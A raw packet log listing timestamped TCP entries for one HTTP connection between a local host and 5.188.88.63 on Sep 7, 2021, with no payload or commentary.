Sep 7, 2021 16:02:39.825289011 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.825634956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.825757027 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.825845957 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.825881958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.825975895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826035023 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.826092005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826293945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826320887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826384068 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.826678038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826704025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826726913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826751947 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826772928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.826781034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826781988 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.826808929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826832056 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826858997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826879978 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.826880932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826886892 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.826905966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826931000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826941013 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.826956987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.826986074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827011108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827035904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827040911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.827047110 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.827063084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827088118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827111959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827162981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.827168941 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.827227116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827253103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827277899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827305079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.827344894 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.827348948 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.827661037 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.827759027 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.828483105 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.831398964 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.831433058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.831458092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.831480980 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.831579924 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.831778049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.831805944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.831831932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.831859112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.831887960 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.831949949 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.832221985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.832247972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.832273960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.832298994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.832302094 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.832324982 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.832350969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.832374096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.832385063 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.832402945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.832406044 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.832499027 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.834072113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.834122896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.834180117 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.834259033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.834292889 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.834320068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.834345102 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.834738016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.834765911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.834789991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.834791899 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.834903955 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.834928989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.835022926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.835083961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.835139990 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.835195065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.835222006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.835258007 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.836625099 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.837546110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.837580919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.837605953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.837630987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.837656975 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.837678909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.837682009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.837685108 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.837712049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.837752104 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.837760925 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.838738918 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.840692043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.843183994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.843233109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.843321085 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.843367100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.843447924 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.843563080 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.845487118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.845882893 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.883815050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884223938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884279966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884301901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884324074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884344101 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884356022 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.884366989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884391069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884416103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884417057 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.884428024 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.884435892 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.884439945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884462118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884484053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884505033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884526968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884536982 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.884546995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.884548903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.884567976 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.889864922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.889900923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.889924049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.889942884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.889966965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.889988899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.889996052 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.890011072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890033007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890048981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.890054941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890058994 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.890068054 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.890081882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890105009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890120029 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.890129089 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890150070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890156031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.890172005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890193939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890214920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890217066 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.890237093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.890290976 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.890301943 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.891184092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891230106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891252995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891273975 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891298056 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891315937 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.891340017 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.891693115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891719103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891741037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891746998 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.891765118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891788960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891808987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891830921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891854048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891854048 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.891865969 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.891874075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891875029 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.891896009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891916990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891923904 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.891941071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891963959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.891982079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.891993999 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.892183065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892271996 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892293930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892316103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892335892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892360926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892383099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892404079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892425060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892446041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892461061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892498016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.892517090 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.892527103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.892534971 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.892579079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892781019 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892802954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892824888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892831087 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.892849922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.892870903 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.892916918 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.893985987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894068956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894092083 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894119978 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894186020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894207001 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894229889 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894259930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894258976 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894274950 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894284010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894305944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894326925 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894347906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894370079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894390106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894398928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894413948 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894414902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894424915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894435883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894458055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894464016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894479990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894503117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894525051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894540071 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894547939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894568920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894582987 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894593000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894613028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.894625902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.894634962 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.895716906 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.897664070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897689104 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897764921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897788048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897805929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897821903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897838116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897842884 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.897855043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897871971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897872925 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.897881985 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.897888899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897890091 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.897911072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897927999 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897943974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897958994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897975922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.897991896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.898008108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.898024082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.898042917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.898058891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.898341894 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.898385048 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.898392916 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.898400068 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.898406029 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.898412943 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.898420095 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.907736063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.907766104 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.907782078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.907798052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.908135891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.908647060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.908684969 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.908689976 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.947274923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947310925 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947335005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947360039 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947387934 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947390079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.947412014 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.947413921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947438955 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947460890 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947485924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947510004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947532892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947555065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947581053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947604895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947628021 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947649002 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.947652102 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.947654009 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.947658062 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.947659969 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.947663069 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.947676897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948393106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948425055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948448896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948472977 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948496103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948518038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948540926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948565960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948611021 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.948633909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.948636055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.948637962 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.948641062 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.948810101 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948837042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.948887110 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.949270010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.949296951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.949321032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.949347973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.949373007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.950170040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.950251102 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.950258017 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.950263023 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.957386971 CEST	80	49744	5.188.88.63	192.168.2.4
